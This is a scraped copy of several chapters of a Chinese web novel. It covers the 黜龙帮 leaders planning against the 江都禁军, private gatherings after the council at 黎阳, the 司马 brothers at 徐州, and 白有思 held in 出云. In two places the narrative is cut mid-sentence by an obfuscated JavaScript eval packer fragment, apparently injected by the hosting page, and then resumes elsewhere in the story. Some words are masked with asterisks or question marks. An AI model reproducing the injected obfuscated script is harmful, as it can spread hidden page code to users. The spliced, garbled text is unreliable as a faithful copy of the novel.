“但要修复整理,军马损失是补不上的……”窦立德提醒。 “补不上的主要还是兵员。”陈斌略显烦躁的打断对方。“兵员跟得上,军械修复整理也就跟得上,咱们将陵的大铁坊、登州的制革坊、济阴的大军衣坊都没受影响,工匠也保护的好……首席辛苦在前面顶住,不就是为了这些吗?” “属下冒昧问一问,大概要多少人?”相较于比较沉稳的军械战马部分管张公慎,新任户部分管邴元正在外圈直接起身来问,明显焦躁。 “三万,后续还要三万后备兵。”徐世英脱口而对。“真打起来,民夫也需要。” “民夫不提,准备兵可以走屯田兵的路子。”窦立德提醒。 “武阳郡的郡兵也可以转出来不少。”元宝存也赶紧附和。 “武阳郡不行,武阳郡的郡卒要起芒金刚和元公你们两个营,剩下的则要赶紧复员,这次武阳春耕全被耽误,哪怕回去种些蔬菜都是好的。”魏玄定立即否定了对方建议。 “屯田兵也不行。”陈斌也否定了窦立德的建议。“屯田兵也耽误了生产,也要补种,还要选出来一些给韩二郎的那个新营打底。” “事情要分急不急。”窦立德坚持己见。“要按照陈总管的意思,河北这里都不好出新兵了!” “屯田兵可以晚一些再出发南下。”张行忽然打断几人争论。“三万战兵要尽量从河南出。” “登州也要起四个营的防备兵马……”程知理赶紧提醒。 “李枢那里还有一些兵。”单通海却又提及另外一件事。“他就是照着四个营的编制在洛口仓招募的,如果以方便来算,我们两个新营,加上参战营的补充,都可以自行解决……” “那兵员就没问题。”听到这里,邴元正毫不犹豫下了定论。“河南六郡老底子其实躲开了这一战,便是不理会登州,每郡五千也吃得下,但时间上我只能说是有多快赶多快,却不能保证……” “自然如此。”发红的太阳照在身上,张行坐在那里幽幽以对,不免感慨。“局势变得太快了,我们这个大行台也太仓促了,连这种讯息都是临时汇集起来的,真跟草莽江湖一样……张公,大魏朝廷做事也是这般狼狈吗?” “大魏朝廷倒是文书齐备,令行禁止,结果靠征兵和徭役把天下给征没了。”张世昭在旁捻须笑道。“至于说大行台,再仓促也要立,不立连这种信息都没法**,事情也不知道交给谁办,找谁来协调。要老夫来说,现在兵员、军械都有路子,已经不错了。日期嘛,这个真没办法,因为不是我们决定的,我们只尽量做便是……”…. “这倒是老实话。”张行也笑。 而张世昭顿了一顿,继续笑道:“其实,东都那里、河北各处、关西、江都,大家也都不要太忧虑,我们辛苦,我们麻烦,我们仓促,说的好像他们不辛苦、不麻烦、不仓促一般……诸位都是英雄豪杰,不要妄自菲薄。” 这话是说给所有人听得,似乎也是张行提醒下说出来的安抚人心的,但无所谓,毕竟是张相公,有身份作保证,大家多少还是信的,气氛也的确缓和了不少。 “我说具体一点,比如说东都。”话到这里,张世昭又看向了谢鸣鹤几人。“东都那里,一来,司马二龙要收拢控制东都还有淮西是需要时间的,未必能伸缩妥当,从容出兵;二来,司马正这个人既然去了东都,跟东都合流,本质上是曹林喊过去当自己继任的,便是要走个大魏忠臣的路子,结果他爹跟他叔叔杀了皇帝、齐王,估计马上还要杀这个新立的赵王,他如何跟东都那些曹林旧部交代?哪怕两边都是亲戚也难!所以,那边麻烦真不比我们少。至于说江都禁军,弑君之人,内乱外忧,据我所知,江都那里住着还好,可一旦动起来,粮食肯定不能持久,他们麻烦更多。” 谢鸣鹤点头认可。 “非只如此。”张行也插嘴道。“我想过的,司马正入了东都,让王代积这厮担任淮西总管,便是个大破绽……江都禁军不来,他就是东都军实际上的二号人物;可禁军入了东都,王代积便只能勤勤恳恳做东都下属,他在整个东都军里怕是要被人排挤的连淮西都立不住……我亲自去联络一下他。” 众人各自心中微动。 谢鸣鹤也稍微放松……其实,他今日的紧绷,包括今日在决议中的保守、严厉,本质就是因为忧心江都禁军……莫忘了,他本就是**都禁军给从老家撵出来的! 别人不知道江都禁军的厉害,他知道;别人都还沉浸在河北战事结束、李枢被拎回来、大行台立起来这些事上的时候,他只想快点了结这边,好去对付禁军。 倒是陈斌,虽然也有身为南人对江都禁军的重视,可今日、包括之前的紧绷里,倒有几分是忧心自己前途。 “王代积还真是个破绽。”李定微微皱眉,以自己十年王九郎老同事的身份举了赞成手。“那在淮西打?能把禁军引诱过去?” “最好从淮河上就开始动手。”张行认真以对。“我来时就做了布置……希望起些作用。” 说着,便将自己的想法和一点小的布置给抬了出来。 说实话,这个策略并没有得到大家的普遍性认可,但问题在于,对黜龙帮来说,江都禁军这一波最大的两个问题,一个在于他们现在都没有争论结果的“打了怕得不偿失”;另一个就是矛盾激化极快……他不是忽然冒出来的,是曹林死后必然的结果,理所当然跟刚刚结束的这一波大战连上了,没有给黜龙帮留下喘息之机……从这个角度来说,张行能在那种情况下搞出来一个对策,已经足够好了。…. 实际上,听完张行的布置,参与会议的黜龙帮核心骨干整体上是精神再振作几分的,以至于接下来的讨论也都没有了那么大的爆竹木炭味。 就这样,在继续讨论了补员、军械修复、外交努力、部队配置、战术选择、战场选择之后,还是有一个基本的问题摆在黜龙帮高层中间。 这个时候,天已经完全黑了。 “那我来做决断吧!就是积极防御,主动削弱!”张行迟疑片刻,却又坚定给出了最后方略。“咱们先尽量将他从梁郡那里引到西面,让他们从淮西北上,避免正式大规模交战;但反过来说,如果他们军队失控,或者就是一心向我们核心领地杀进来,就要坚决做好战斗准备,但依然不追求决战,而是要以坚壁清野、层层迟滞消耗为手段,寻机杀伤部分有生力量,逼迫他们快速逃向东都……说白了,可以让他们回东都,但若他们敢来招惹我们,或者真就从我们核心地盘上走,那就要扒他们一层皮,必要时断他们肢体!否则,天下人还以为我们黜龙帮真怕了他们。” 火把下,众人多松了口气。 事情就是那个事情,总需要有人做决断的。 “之所以说许他们回去,是因为我们需要认真考量对东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“放心,我们手上有棋子的,东都溃军俘虏,还有段威他们,都可以用。”谢鸣鹤立即点头。 张行依旧是只点头,然后又点了另外两人:“张分管、邴分管,刚刚已经议论清楚了,大家都要忙,但军械和兵员的事情最紧急最重要,你们要辛苦起来……多找曹总管、黄分管他们联络,遇到疑难就找雄天王跟陈总管,他们俩一文一武是能做主出头的。” 张公慎和邴元正一起站起身来,拱手称是。 “还有徐世英、王叔勇、徐师仁、马围、张金树,你们几个要一起做好军事布置和计划,打听好情报,做好预设阵地。”张行继续吩咐。“还是那句话,大家看好自己的头衔,咱们的部都是名副其实的,叫什么名字就管什么事,营也是真切领兵的,就是一营兵,该做事做事,该领兵领兵……天王要处理好整编赏罚的事情,陈总管,你除了抓总之外,还要跟天王一起忙一件别的事情。” 张、邴还没有坐下,徐世英就带着马围、张金树站了起来,拱手行礼,姿态严整,王叔勇、徐师仁也当仁不让。 而这个时候,陈斌也主动站起身来行礼:“请首席吩咐。” 张行还没有开口,刚刚提到名字的雄伯南跟谢鸣鹤一起默契起身,恭敬行礼。 这个时候张首席才有机会说话:“很简单,咱们要扩充准备将、文书、参军,而且要让他们流动起来,往下面的营中去,往各部去,往各个行台郡县中去,还要从下面军中、行台郡县里收纳俊才,装进这三个水囊里……将来咱们自己的学校铺陈起来了,科举选出来跟看修为选出来的人才日后也要放进来。” 后半句话,隐约是朝着蒙基部张世昭来说的,但其实没有再行点名。 然而,这天下,怕是没几个比张世昭更有眼力见的人了,其人听到自己相关,毫不犹豫,立即起身朝张行恭敬行礼:“属下得令。” 暮色中,火光下,李定长呼了一口气,盯着当日自己的顶头上司的上司看了几息时间,然后终于也站起身来,转向了张行。 而这个时候,好像完全没有察觉这个小细节的张行张首席已经继续开口在做吩咐了:“没有直接点到的各部和各个地方上要尽全力配合,我也会在黎阳稍待,等情报清楚了再行南下,大家先回去,有什么疑难,随时找我,我不在,还有陈总管、雄天王、徐大郎。” 说到这里,在场所有大头领和分管都已经站起身来,拱手行礼。 张行也站起身来,主动还礼。 众人于是散去,张行拍了拍李定肩膀,两人宛若东都街溜子一般揽着肩膀走在了最后,秦宝从台下转来,负手也如往日东都行止。 人还没完全走散呢,李定便先忍耐不住尴尬苦笑起来:“我还没那般矫情,只是确实没注意。” 张行也不撒手的。 这边会议终于结束,另一边窦小娘跟苏靖方却刚刚见面,而李枢枯坐住处,则始终没有等到来见他的人,不由有些心灰意冷。 而就在他几乎绝望的时候,杜才干与房彦朗一起来了。39314426. ... 第十二章风雨行(12) 三月底,黎阳,白天刚刚结束了一场胜利的大会、团结的大会、激动人心的大会,可随着暮色降临、会议结束,并没有关闭城门封锁道路的黎阳城内外,却暗流涌动,人心叵测起来。 这不是夸张或者污蔑,而是事实。 因为几乎所有大头领、头领,都趁机在暮色中私下相互试探、交流起来,都自觉不自觉的聚拢起了小团体、小派别,几乎是可以说,大会之后他们就立即分门别类开起了小会……这其中,有的还可以称之为自然形成团体,或者有帮内职务级别背书形成的官方团体,但有的就是纯粹的拉帮结派。 比如说窦立德带着刘黑?回去找他老婆、大舅子,还汇集了高士通这些将陵行台内的大小头领一起吃顿便饭,这当然很正常,可另一位龙头单通海在其中是怎么回事? 再比如说窦立德他女儿跟李定学生跑到马厩外面闻着腥臊味看星星、吹晚风,小男女在哪儿偶遇都无妨,合法合情合理,但遇到张金树、邴元正、柴孝和带着一堆心腹文书、侍卫从马厩另一边走过去,一边走一边商议如何说服雄伯南和陈斌严密监视李枢跟二房一崔什么的,就也只好蹲在这边马屁股后面装作什么都没听到。 还比如魏玄定跟自己副手兼旧主元宝存一起挽着手去喝酒……一开始是两个人去,走着走着张世昭就跟来了,满口都是什么旧日河北之风流。就连张首席自己也不遑多让,他跟李定搂着肩膀,跟着秦二,走出来后就喊了牛达、吕常衡,也是张口东都旧日风景,闭口靖安台、伏龙卫的。 知道的自然知道这些是黜龙帮根基与新贵,不知道的还以为是大魏遗老遗少聚会,无人不怀念我大魏呢。 包括跟着李定来的王臣愕突兀去找了房彦释,也让人摸不着头脑。 这种情况下,徐世英请王叔勇、徐师仁、马围去喝酒;雄伯南带着算是刚加入的张公慎、韩二郎去吃饭;黄平、宇文万筹跟着贾越去了一处地方私聊;陈斌独自回去,谢鸣鹤却主动引着几位新任的分管,什么喏喏切切的黄大郎、惴惴不安的冯端一起跟上;崔二郎带着崔二十六郎找到了崔四郎,几位金刚聚在一起啃鸭子……反而都显得合情合理了许多。 包括房彦朗跟杜才干去寻李枢,也都显得光明正大。 老领导、老朋友降了职,还不许老下属去安慰一下? “你二人能来,我李枢感激不尽。”等了许久的李枢看着身前两人,居然有些激动和感激。 “崔四郎也要来的,但被崔二郎带着几个崔氏子弟给牵扯住了,二十九郎也要来,但刚刚也被李定的人拉扯走了。”房彦朗稍作解释。 “这是自然,崔氏刚刚遭了这么大一档子事,若是崔四郎也跟着我一条道走到黑,崔氏上下都睡不着。”李枢苦笑道。“二十九郎那里更是算他走了运道,还有李定当年建立蒲**这条线,正好接上了……不过,这更显出来你们两位来,我实在是感激不尽。” 房彦朗当即摇头:“我们坦坦荡荡来见李公,有什么显不显的?” 这是实话,他们专门等后面的会散了,才过来的,就是图一个坦荡。 “帮里其实很大度了,也足够公正了。”杜才干一声叹气,倒像是来劝。“今日这局面,张首席若真要杀李公,连带着处置了我们几人,也只是顺水推舟的事情……我当时在台上已经想着今日回不来城里了,谁想到真给了生路。” “是大度,也公正。”李枢正色道。“但也更让人心寒,让人肝胆生颤。” 杜才干明显一愣。 倒是房彦朗微微摇头,似乎晓得对方什么意思:“李公,恕我直言,人家是首席,名正言顺,张世昭、邴元正他们都选那边也正常……徐州那边咱们输的不冤。” “这事关键都不在徐州,而在河北。”杜才干也有些无奈。“李定降了,张首席原本可能要从北面绕过来的,可能要三?月倒半年才能回来,结果直接掉头了……这一仗是因为放粮的事情引起来的,河北、东境出身的头领都觉得只要白横秋走了就值当,甚至算胜的,他声威大涨之下,人人依附,如何会有人跟你走?” “所以我不怨他。”李枢面色不改。“也不怨张世昭、邴元正、柴孝和,更不怨杜破阵、张金树那些人……我说一句多余的话,便是你们也跟那些人一样,我都不怨,我只是懊丧自己一开始就选错了路……我这人,大半辈子都在走错路。” 房彦朗和杜才干对视一眼,虽然不敢说一清二楚,但也大约晓得李枢几分意思,因为他们恰好都是陪李枢走过错路的……杨慎之乱,他们都是参与者与受害者,现在又……所以,有些话听多了就烦。 唯独说句不好听的,他们过来看李枢,不就是听一听这些牢骚话,好让对方舒坦一下,省的走极端吗? “我这辈子走了三次错路,第一次是少年青春时,想着能靠自己的才学修为与兢兢业业做大魏忠臣复兴家门。”李枢的开头让对面两人有些诧异,他们真没想到对方这么早就走错路。“结果呢,辛苦数年,就因为站岗的时候偷看了新皇帝曹彻一眼,便绝了前途;没办法,只能去投靠天下仲姓杨氏,指望靠着他们复兴家门,结果你们也都知道,非但败了,而且家门都无了,连龙囚关以西的私人故交,经营势力,也被一扫而空;那时候几乎想求死,靠着一口气顺下来,便想着此生能见大魏崩塌,便也无憾了……结果现在大魏是没了,我也空荡荡的了。” “不对。”房彦朗正色更正。“你第三条路或许是因为剪除暴魏这个目的走上去的,但走着走着,大家就都晓得,大魏必亡,这条路其实是要走以新代旧的路子。这几年咱们一直在一起,我如何不晓得,?是想走出来自己的路,开创出自己的天地呢?活着的时候看看能不能成个圣王,**后化龙被四御接走,最不济也要让自己也被写进神什么里做个主角、写进史书里做个吹嘘……” “对,你说的对……这黜龙帮的路,一开始是剪除暴魏,现在却是争天下、开创基业。”李枢面色惨白。“但我真没有指望做什么圣王,没指望化龙被四御接走,我见过先帝,晓得圣王多难做,等到三征时我年纪也比张行、李定、徐世英那些**许多,最多最多也就是先帝的格局……所以,我也只想学先帝,开创一份局面,将来有人写的时候,把我算个主角,也好让人记住……但现在,主角让别人做吧!路也让给别人走吧!” 话到这里,倒是真有了几分哀凄之态。 房彦朗见状,也有些不好受,不由低声安慰:“事已至此,何妨放开心怀,只在河北安坐,以观将来……” “不错,且停一停,看清楚路再走。”李枢匆匆颔首。 房彦朗就等这话,闻言不由释然。 倒是跟李枢认识更久的老朋友杜才干在旁听此言语,一时欲言,但终究没有开口。 月底的时候,双月几乎不见,而随着夜色越来越浓,晚风袭来,似乎堪称月黑风高。所幸到了春末,繁星点点,已然灿烂,加上黎阳城、黎阳仓以及二者之间道路上的火把、灯笼,当然还有此地的兵马、人流、仓储、田野,倒是依然有几分人间安泰之色。 张行很少喝酒,但今日还是饮了几杯,其余几人也是,放浪形骸称不上,但的确话多了些。 当然,他的话向来很多。 “你就这般放过李枢”牛达落脚的小院中,李定望着头顶星空,终于不再掩饰自己的不屑。“临阵叛逃,却能苟全性命,简直妇人之仁!” “那也是黜龙帮上下的妇人之仁。”张行不以为然。 “三哥,今日只要把这件事推给大头领们,李枢也必然**。”牛达也有些气闷。“到时候,也是黜龙帮上下严明军纪。” “得不偿失。”张行语气缓和了一点。“你跟李四想杀他,是真心的,李四在兵部修路的时候就素来把自己当成一军之元帅,讲究一个慈不掌兵;而你作为军阵上的将领,好几次大战都是由你来领兵做苦战之侧翼,所以心里对这些耽误战事的心存愤恨……但其余人呢?高士通、李子达举手是真心想**吗?” 牛达一时惊醒,脑子却转不过弯来。 “他们是降将,是外面藩属的人质,他们是看到局势已定,借此来表忠心。”见到牛达愣住,吕常衡忽然放下酒杯代为回复。“实际上,他们是最畏惧李枢被处死的……连李枢都不保,还要牵连其余头领,他们如何能心安?” 牛达听懂了,但也完全愣住,李定也有些恍惚。 因为这个他们真没想到。 “谢总管应该也不是真心想**,他只是必须要跟着陈总管行事。”秦宝也开口道。“黜龙帮内英雄豪杰辈出是不错,但无外乎是东齐故地之人,是河南河北人为主……这事三哥今日还专门说了的……而陈总管一个南人来做文书总管,统揽黜龙帮文书来治十八郡五十六营,其实是南衙宰相的格局,要是连谢总管这位帮内最近的南人兼故人都不能跟紧他,其他人只会更加不服。” 牛达和李定半晌没有说话,只能低头喝酒。 “李枢这种级别的人,处理他要考虑的是**大于军事。”张行幽幽以对,做了最后解释。“所以,这件事的处理顺序这样的,先把他跟他带走的兵马给带回来,确保没有黜龙帮自家内讧;然后不能让他被杜破阵那些人给在外面弄死;再确保他是被帮内自家公决……换言之,公决他的下场这件事本身就是最重要的事,而不是说他该有什么结果。” “但李枢如何落得如今下场,生死都无足轻重呢?”秦宝产生了新的疑问。“记得一开始的时候,还是他掌兵东进的,便是数月前也还是帮内实力最大的一位龙头。” “因为他目光短浅,看前途、寻路线,只能一不能二,遑论三;而且他性格也有缺陷,表面上为人谦和,待人诚恳,其实性格傲慢固执,不能容人;但这都不是他落到眼下局面的根本,因为前面说的这些缺点,我其实也有,你也有,李四也有,思思也有,大家都有,只是各不相同而已,他的问题在于他不能一直把这些缺点给盖住,或者说不能坚持对的东西!”张行带着酒劲侃侃而谈。“天下事都是这么败的,李枢再如何,或者说这天下人任何一个人再如何,难道有刚刚**的那位圣人登基时来的显赫吗?有当时那位圣人前途远大?那那位圣人又是什么下场?!” 秦宝重重颔首。 李定在旁,终于失笑:“你们这问答,倒是真像极了当日东都承福坊的时候……连我在旁边看着都一般无二。” 秦宝不由尴尬一笑。 张行一愣,旋即也笑:“时日一去不复返,孰料故人皆安全。” “哪里来的皆安全,三娘是怎么回事?”李定当即驳斥。“这事怎么想都太突兀了吧?” “说简单点,就是遇到了风灾,实打实的风灾。”对上这几人,张行没有遮掩的意思,却又言简意赅。“而若是说透彻点,这可能是她的命……有人跟我说,赤帝娘娘视她为私物,想要她自行一番事业!” “那你就任由赤帝娘娘掳走她?” 李定本该这么问,但却一言不发,他知道张行不是这种人,秦宝也知道。 “这一仗之后我无论如何都会去找她,于私,那是我妻子,于公,那是我黜龙帮的五个营,许多个头领……但我总觉得,三娘不是需要帮助的人,她自己就可以解开枷锁,说不定能直接迎上去。”张行依旧坦荡。“我信得过她。” 几人倒不好说什么了。 因为很少有认识白三娘的人对她没信心。 “单大郎今日的意思我大概晓得了,你是想说,咱们这位首席必能成事,而我们这些人也要提前准备?”时间继续流转,黑夜中,城内外几场宴席都已经散场,但其中最大一处,两位最主要的列席者还在院中相对而坐,正是两位新上位的龙头窦立德与单通海,却不知在勾连什么。 “已经成事了。”单通海冷笑道。“便是争到最后黜龙帮全没了,依着眼下帮里的成就,咱们这位首席也跟他最喜欢看的《郦月传》中游龙宰相一般格局了……至于说将来,将来不管是白横秋还是萧辉,但凡不是黜龙帮赢了,关我们何事?我们难道还能弃了自家在河北河南的格局去给他当狗?还是说以眼下这位首席的威望,咱们还能另起炉灶?” “是这个道理。”窦立德似乎是酒喝多了有些失神,但片刻后还是点头不止。“就是这个道理,那该怎么预备呢?” “其实就一句话,一定要守住举手的规矩。”单通海肃然以对。“我不晓得他张首席是为了团结人心的权宜之计还是真心要搞这个……但这个规矩是我们立身的根本,守住这个规矩,自家犯了错,不至于动辄身死族灭;自家也不犯错,便可以稍作制约,行些咱们自己的策略!” “若是他……若是他……”窦立德点点头,却又摇头,显得有些迟疑,但终究还是开口了。“若是他真就是权宜之计,最后当不了至尊改一心做了皇帝,要改规矩怎么办?” “那他总得先改吧?”单通海倒是想得通。“总不至于一下子就没了吧?而且,总留下一个老规矩日后再改回来吧。” “不错。”窦立德也笑了。“还是单龙头洒脱。” “谈什么洒脱?”单通海停了一会,方才来答。“不过说实话,有时候我也想,咱们还是有运道的,不管将来黜龙帮到底成什么样子,也不管那位张首席将来会不会翻脸,这四年总不是虚的,总是走运的。不然你看看其他地方……也不用看其他地方,只看看两三年前的河北……我就是来河北后看到你们的凄惨,看到你们这儿的**如麻,四野枯敝,才晓得之前东境格局的珍贵,晓得黜龙帮规矩的难得。” 窦立德不再言语,而是眼神飘忽起来,也不知道是单纯醉酒,还是想到了加入黜龙帮前遭遇的河北的境况……又或者更具体一点,是三征前官道旁抛尸的青壮?是**死的窦氏宗族父老?还是冻死饿死在高鸡泊里的各路义军家眷? 谁知道呢? 进入四月,淮上军情继续传来,刚刚重新组织并发动起来的黜龙帮上下一时紧张不已――因为江都禁军发动的太快了!而且根据情报来看,也太团结了!甚至实力几乎无损! 这还不算,随着黜龙帮将情报能力转向禁军为主,加上禁军北上,相关情报周期变短,很快,就给人带来了一种局势加速崩塌的感觉。 四月三日,禁军前卫吐万长论率兵一万四千自淮南化明先行渡河,杜破阵初来乍到,立足不稳,根本没有阻拦,直接放弃当面的淮北徐城……这个消息,黜龙帮是四月七日得知的; 四月五日,禁军主力自运河淮口山阳正式渡河,轻易夺取了泗水入淮口,这个消息传到黎阳是四月八日; 四月六日,禁军主力循泗水北上,占据要冲淮阳,这个消息传到东郡白马是四月九日早上; 同一日,就在淮阳身后徐州城的杜破阵不战而逃,放弃了徐州本镇,这个消息传到黎阳是四月八日深夜……因为杜破阵提前通知了黜龙帮。 故此,当夜张行便立即动身,来到了大河对岸,结果刚到对岸的白马,吃了顿东郡治所的廊下餐,便接到了这个消息。 情况发展到现在,前后三日,禁军便全面渡河,徐州不战而逃,整个黜龙帮都被惊醒,原本还沉浸在河北战事余波与各种内政、整编、扩军讯息里的黜龙帮各个层级全都清醒的意识到,一场新的军事冲突在所难免。 而原本胸有成竹的高层也不免有些动摇。 原因很简单,禁军的团结与迅速,虽然事与愿违,却也算是早有想象,高层早就通了气,制定了策略……问题在于杜破阵放弃徐州治所与核心一郡下邳,逃往东海躲避……这件事情可不是谁的提前布置。 这是杜破阵为了保存最后的实力,自行为之! 四月七日到八日,禁军主力继续大举渡河,而前锋赵行密不确定在具体什么时间点轻易夺取了徐州城。 一时间,全天下的目光都投向了徐州,大家都想看看天下数得着的两个强梁是如何一决胜负的。 但只看了一两天就不看了,因为很快另一个震惊天下的消息就传出来了,所有人都看向了西面: 英国公白横秋在击败了渭水畔的一支巫族部队后继续率两万主力西行,驻守西都大兴的当庐主人韦胜机出城来迎,白横秋兵不血刃控制了西都城,然后当日便寻到了一个曹氏远支的子弟,立为新皇帝,自称丞相,大赦天下,并正式将大兴改为长安,然后遣使四面。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这里面肯定有张行派来的间谍。”徐州城城头上,刚刚押运了一批粮食过来的赵行密如此下了结论。 “必然如此,你觉得是哪家?”司马进达蹙眉以对。 “你问我吗?”赵行密无语至极。“我这些日子都在外面搜罗各地仓城剩余粮草,又没见到几个降人。” “?侍军应该不是。”司马进达想了一想,给出自己看法。“内侍军是我们劝降的,牛督公在这里呢……回东都不好吗?韩引弓跟他们有仇又不是我们。” “应该如此吧。”赵行密点点头。“但反过来说也不可靠,反正人家只听牛督公的……是那个知世郎吧?” “王厚一开始我也是不信的,但见了人以后我反而信了,不只是我信了,在场的诸位上下文武都信了。”司马进达摊手解释。“我大兄问他,你被黜龙帮搁置,扔在琅琊不管,人尽皆知,有怨气正常,但也不至于投靠我们吧?你不是天下第一个跳出来反魏的吗?” “他怎么说?”赵行密愣了一下,好奇以对。 “他说,他就是因为恨大魏入骨,恨曹彻入骨,所以才心甘情愿来投靠我们,而且对我兄长感激涕零,他投的是司马氏。”司马进达幽幽以对。“正好他被排挤了许多年,自然不愿意放弃这个机会。” 赵行密怔了许久,竟不能驳斥。 半晌,其人方才言道:“那是辅伯石了。” “应该辅伯石。”司马进达点点头。“但辅伯石只是名义上投降,人都不来的,只带着两千兵在东面驻扎着……我们现在也没法处置。” 赵行密想了想,还是觉得不对劲:“可若是这般说,这才是正经投降的反应才对吧?” 司马进达也沉默了,停了片刻,方才反问:“难道都是真心投降?” “不可能!绝对不可能!”赵行密冷笑一声,点出要害。“七将军、右仆射,我问你,黜龙帮现在最需要的是什么?” 司马进达立即给出答案:“自然是战力,他们之前一战损失惨重,还有白三娘这种离奇的事情,少了这么多兵。” “是战力……但恢复战力要时间。”赵行密提醒道。“他需要抓壮丁来补充兵马,需要时间修军械,需要时间来压服新投降的李定那些人。我们则反过来,不能耽误时间,一耽误时间禁军就会闹,粮食拖下去也会成问题。” “是。” “那你想想,我们在徐州城耽误多少日了?”赵行密继续提醒。“四月五日渡河,三日就拿下徐州,结果却在徐州硬生生耽误了七八日,若不是他们挨个投降,是不是早就启程了?所以,这三拨人里面一定有张行派来的间谍……但这件事情反而不是最重要的,最重要的是,一定要告诉左仆射,不能再耽误时间。” 司马进达愣了一下,整个人惊醒,只是一拱手便匆匆去了。 “赵行密说的有道理。”片刻后的徐州一处宅邸,原来来战儿的总管府,司马化达喝着酒,带着酒气来答。“但我觉得还真不能立即走,还是要在徐州多待几日。” 司马进达目瞪口呆,便要言语。 “你听我说老七。”司马化达抬手制止对方。“首先是我们内部不安靖,诚如你所言,降人里面是有可能有黜龙帮的间谍……而且十之**是那个辅伯石……但禁军就听话了?禁军里面就没有想杀我们的人?说句难听的,辅伯石那两千人一营兵,我们防着就是,大家也都会防着,可那只大鹏鸟呢,不是你让我们小心的吗?我告诉你,他现在已经在串联了,要是现在启程,路上寻到破绽忽然杀过来怎么办?联合了另一位左仆射怎么办?” 司马进达想了一想,便坐下身来,诚恳点头:“大兄说的是,确实该动手了……那我们怎么办?” “简单,先弄清楚那只大鹏鸟的根底,然后告诉司马德克,请他动手。” “驱虎吞狼?” “也是坐山观虎斗。”司马化达昂然来对。“禁军最大的问题就是没有个正式的头……大鹏鸟为昏君报仇,必然不得人心,必然是司马德克获胜,但大鹏鸟是个有本事的,司马德克也必然损失惨重,到时候正好我出来收拾局面,顺便做个丞相,定出个上下名分……英国公都做丞相了!我睿国公做不得?!” 司马进达犹豫了一下:“就怕黜龙贼……” “怕个屁。”司马化达嗤笑一声。“这便是我要说的第二个缘故了……若我们渡过淮水,他们便蜂拥而至来做救援,我还要忧心一二,可他只能让杜破阵避战,让属下诈降,而且这么多人投降,难道都是诈降?你看王厚明显是不服的,?侍军更是真心动摇。这说明张行这个人虽然厉害,可之前一战还是损失惨重,委实不能为无米之炊。而且看他行止,我估计他是把根基早早摆在了河北,视河南诸部为外藩,所以是不会因为我们在河南借道就跟我们硬碰硬的。” 司马进达仔细想了好一阵子,只能缓缓点头:“大兄说的都是有道理的,可是我还是要提醒大兄,拖久了,必然生乱,千万不要忘了咱们原本的目的是什么,就是回东都。” “这是自然。”司马化达嗤笑来对。“必然要回去,我难道不想回去?不然我为什么让赵行密搜集粮食?不过老七,既然说到这份上了,我还有一句话。” “大兄请讲。”司马进达肃然以对。 “现在来看,回东都是没问题的,动起来就行,也没人能拦得住大家动起来。”司马化达幽幽以对。“可我要是不能带着一支听话的兵马回东都,你信不信,我那个儿子还是不把我当个爹!” 司马进达反而无话了。 四月的徐州城风平浪静,今年的雨水期也远远未至,而势不可挡的庞**军主力也顺理成章的稍作停留。相隔数千里的关中渭水流域,渭北的巫族主力越来越多,但白横秋始终窝在长安,也没有出击,而是将精力放在部队整编、人员任命封赏之上……这跟黜龙帮其实非常相似。 这个四月,上旬的时候,大家原以为全天下都会风雨骤变,但出乎意料,到了中旬,居然是风平浪静。 PS:上章错字有点多,惭愧……很奇怪,不是错字奇怪,是人犯困的时候真的会产出错字而不自知,真是个明显教训。 第十三章风雨行(13) 正所谓:“山中无岁月,世上已千年。” 时间需要往前数日,位于东夷五十州北部名州出云州的白有思并不晓得外面许多局势发展,但到了四月初,还是及时知道了江都兵变,彼时她正在东夷王族大将王元德的陪同下登出云港西面青云山准备拜谒山上名胜青帝总观。 行到半路上,有私属门客自山下匆匆来报后,王元德当场失态,然后犹豫片刻,就停下路程,转到半山腰的亭子里上告知了白有思这件事情。 而白有思闻言,却只是微微颔首。 “白娘子,皇帝**了,堂堂陆上至尊就这般被自己的禁军给围杀了,你为何丝毫不乱?”王元德之前一直摆出一副贵胄风流姿态,此时却有些慌张和不解。 “我其实也是心乱的。”白有思有一说一。“只是这个时候乱也无用,干脆不做理会好了。” 王元德这才颔首,似乎是心理平衡了,继而稍微恢复了神采。 且说,这位东夷王族大将衣着华丽到过了头,金冠玉带香囊自不必提,身上的衣服居然是蜀锦所制,这在东夷根本是有价无市。而最离奇的是,性情似乎也温顺了不少,言谈举止和四年前战场上的暴烈形象相比简直是判若两人,竟真有几分东夷贵种风流了。 “不过,依着我看,这件事最大的麻烦是禁军既杀了曹彻,必然北上,这时候说不定我们黜龙帮已经开始与他们苦战了,我却被隔绝在此,简直荒唐!”白有思继续恳切相告。“至于曹彻,死就**,亡就亡了,有什么可在意的!” 话到这里,立在亭子外的程名起与马平儿一起回头。 王元德愣了愣,看了看外面两人,然后犹豫了一下,正色来告:“白娘子,你这几日也该弄清楚了,不是我推脱,而是你们的去留根本不是我们这些就在出云的人能决断的,而且我跟姓郦的也不对付,断不可能联手哄伱……” 白有思淡然颔首了:“我知道王将军说的是实话。” 王元德是出云这里的驻军将军,却好巧不巧在黜龙军的船队被吹到这里数日前才率领一支万人兵马移镇过来,现在看管住了黜龙军的那一万多人马;而姓郦的专指出云太守郦求凡,出云是东夷大州,尤其是治下出云港面对渤海,直接对接北地、河北的贸易,却不是临时派来的,但因为掌握港口并接管了黜龙军船队的维修工作,相当于变相扣住了黜龙军的船队……这二人正是出云这里所谓东夷贵种里的两个实权派,也是将这支黜龙帮偏师给锁住的两把锁。 没有船就没法走,至于说为什么要将船队交出去……你得修船啊!无论如何得修船! 部队窝在这里也要补给。 什么叫人在屋檐下不得不低头,这就是了。 平心而论,这一个多月的时间里,东夷人对黜龙军采取的行动看起来非常合乎情理而且务实: 比如允许基本的物资交易,包括船只修理、伤病员的治疗等也都非常配合,只是要求以黜龙帮名义打欠条以大宗商贸抵款罢了; 